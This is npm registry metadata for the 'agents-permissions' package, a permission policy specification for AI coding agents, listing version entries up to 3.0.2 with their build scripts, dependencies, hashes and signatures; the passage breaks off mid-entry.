{"_id":"agents-permissions","_rev":"73-88c6082bba8508239aa733d1e14d20b1","name":"agents-permissions","dist-tags":{"latest":"6.6.0"},"versions":{"1.0.0":{"name":"agents-permissions","version":"1.0.0","keywords":[],"author":"","license":"ISC","_id":"agents-permissions@1.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"dist":{"shasum":"66cde111115d57d58058fd908386aef868274c06","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-1.0.0.tgz","fileCount":1,"integrity":"sha512-hNnvl0tPcfilMbIixHBJoZKYeNhrKEzR+mlOmxH+z7cVQm2e/KnQV1xzLYbQsTTZ3+NLwam7kcJOcHsYVdilBA==","signatures":[{"sig":"MEUCICULdAkzlPldLjI7zyterXafMErDrA4R+NSxnJ77/gvDAiEA2DVgLCcCRDjBMBfK/EEwF+FcQ4asSNfk/sRXy0xQx3I=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":254},"main":"index.js","type":"commonjs","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"_npmUser":{"name":"jmearman","email":"joseph@mearman.co.uk"},"_npmVersion":"11.13.0","description":"","directories":{},"_nodeVersion":"26.1.0","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_1.0.0_1778400957837_0.04127268258426575","host":"s3://npm-registry-packages-npm-production"}},"1.0.1":{"name":"agents-permissions","version":"1.0.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@1.0.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"ae67d3c0eccf5da1543b3f33bafa36cfd67ca756","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-1.0.1.tgz","fileCount":16,"integrity":"sha512-IN0QqHz8lKevv7vzfxH3mpkbtpYokhKol7xiHzbQEPN9jIiIOkTyauu6BhaW8+4OWyNlKJSjZjykJkO72qpUGA==","signatures":[{"sig":"MEUCIEOGHOCDkUXltYYhUx7EDZVrqKr/7Wn5Z222LDuvmitfAiEAhqcDPef3daLVBQRXCwhBfh2Cw0pLIXzBlJmQ4H4qy5E=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@1.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":348130},"main":"./dist/index.cjs","type":"module","types":"./dist/index.d.mts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":{"import":"./dist/index.d.mts","require":"./dist/index.d.cts"},"import":"./dist/index.mjs","default":"./dist/index.cjs","require":"./dist/index.cjs"},"./schema":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test src/test/*.test.ts","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_1.0.1_1778426762708_0.07736682861776467","host":"s3://npm-registry-packages-npm-production"}},"1.1.0":{"name":"agents-permissions","version":"1.1.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@1.1.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"30b4e8e70ca4f990125a2f3efc064a0a8cef200a","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-1.1.0.tgz","fileCount":16,"integrity":"sha512-rN0emnCP2ml/xAIKcbm9MGS6GzyYDqCi6V5/+0BmlSL/2QetveD9zgZy3graPXraH+KX6R84oeIMt/MRoIkoBg==","signatures":[{"sig":"MEQCIFBlied6ow26qupB8wC10AWtDeYgCN5JaF7RZ+DuDXafAiB0Sh+85lUQI2LnMb3l/Q3/9KKUXARiRykfnfZrRSS1tw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@1.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":386246},"main":"./dist/index.cjs","type":"module","types":"./dist/index.d.mts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":{"import":"./dist/index.d.mts","require":"./dist/index.d.cts"},"import":"./dist/index.mjs","default":"./dist/index.cjs","require":"./dist/index.cjs"},"./schema":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test src/test/*.test.ts","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_1.1.0_1778429178708_0.6975090096260994","host":"s3://npm-registry-packages-npm-production"}},"1.2.0":{"name":"agents-permissions","version":"1.2.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@1.2.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"28ad36ea931389be4cadd4c0051923960a33dec8","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-1.2.0.tgz","fileCount":16,"integrity":"sha512-Nr5nWSuqsJ/0hOvqjOehjuS7W9HgyxbkCO8CKcKR5CUqOhUWbopbRpn2Dg2ENDo3EQpiof6bZV4reAs5sjNMTA==","signatures":[{"sig":"MEQCIGLlnXdnekkAT3aVuZUkyB7gCMIVy6kOCVdknIUoGuDRAiAVlCpiaSZI4lDatYv4+q/OnbzFVekFNtc8XsWRnzo/kA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@1.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":386531},"main":"./dist/index.cjs","type":"module","types":"./dist/index.d.mts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":{"import":"./dist/index.d.mts","require":"./dist/index.d.cts"},"import":"./dist/index.mjs","default":"./dist/index.cjs","require":"./dist/index.cjs"},"./schema":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_1.2.0_1778430623572_0.4207436544358827","host":"s3://npm-registry-packages-npm-production"}},"2.0.0":{"name":"agents-permissions","version":"2.0.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@2.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"a9fa8b8dd6db38d917ed3ec777cffc823cd78682","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-2.0.0.tgz","fileCount":36,"integrity":"sha512-yOgO42CkgXRAYSRIlP0EkARDD7Y3Ng8AhZAevxFc5gkDVYXi5zkDQmHuay20DC4Q8SyfJ9+YUNLd+7duQ137mg==","signatures":[{"sig":"MEUCIQDvYkuPBHoM7GKkq4MmGb1KUGGHL8GFrdKfzwfMSIP9hgIgTyVP0dgvNW1RkOZJsZGJzQx/911YQwzR6XWQzVIyPpw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@2.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":392467},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_2.0.0_1778431093789_0.12926554199940932","host":"s3://npm-registry-packages-npm-production"}},"2.0.1":{"name":"agents-permissions","version":"2.0.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@2.0.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"426b7cb36d14f98ea9ef6e8b6a66f711800f25cc","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-2.0.1.tgz","fileCount":36,"integrity":"sha512-TpYIQ3U2i5JRcW+Wlhh9jXW30+q64xuja3vDaQjCOUjX0rHde7p/TyaFaVAJhvGkuCLp0VHaCB4ecDZzNUR3Kw==","signatures":[{"sig":"MEUCIQDK2+OfciK+STRI7Iqvzgrpy7tTAaqShTAWaxI0BwiOagIgQh5F2WRXrdFUDBkJFJtlvRtkL9mSk5hm9+iMw/O0d0Y=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@2.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":392467},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_2.0.1_1778431378876_0.0895432893210748","host":"s3://npm-registry-packages-npm-production"}},"3.0.0":{"name":"agents-permissions","version":"3.0.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"cff36bf3458920ff019a331ab654b775b6120e86","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.0.tgz","fileCount":36,"integrity":"sha512-378tbOCSsE9CD63gePna5boz+T1qFb+8WuZawJMptkjeOCRAbrsbL9cSrYykY/lsRR0Ga7dFurlxrjH3EvcN9g==","signatures":[{"sig":"MEYCIQCvVNhLDltTx0kej7xO+QzT9FZ1xvqOB6hGGUA5Er/8zwIhAJogGkHsSqzTfx1rSH4MPMBIj0hDPpilErfRLVqA+Vkl","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":434471},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.0_1778439049213_0.9176013754453884","host":"s3://npm-registry-packages-npm-production"}},"3.0.1":{"name":"agents-permissions","version":"3.0.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"cea5be611eaee7f7792dd33a450debb8c06ab6ad","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.1.tgz","fileCount":36,"integrity":"sha512-prmOwrciZB+VdqHdLu1keqU+qR4BwUyhHszcQtW+BK7UZyHB7afls+TCjRTFByt3rDAmwVo0b9jJl+O6kZqEOw==","signatures":[{"sig":"MEUCIEvN7vqLZOLHIH02SBK50XPkjbF/tYKsgdzJunKWXiuuAiEA/Kb/8vZxqdTOLbanqqf1y6PuwchQ1jYjywSWIdVW6us=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":435267},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.1_1778440015182_0.7306575961314232","host":"s3://npm-registry-packages-npm-production"}},"3.0.2":{"name":"agents-permissions","version":"3.0.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"c9cb9672274fa36c4085e833535a461a7eb9a1a0","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.2.tgz","fileCount":36,"integrity":"sha512-CMBzItDEPryaWiykJoQFyotQuUKJrOfbxRCLmFwJ/i9zOjQAYkp+uM+wKamAHTBBeqLaSmtzPlNXjCsjwmNNHQ==","signatures":[{"sig":"MEUCIDQtr7kVGfNq+2nJMJEjlu8/dXOYiIOIcncBCKTWlnAcAiEAjE0sentcbci8ZdNwM6rEK020tdPmGIDBu1SShJZSP7E=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":437258},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub 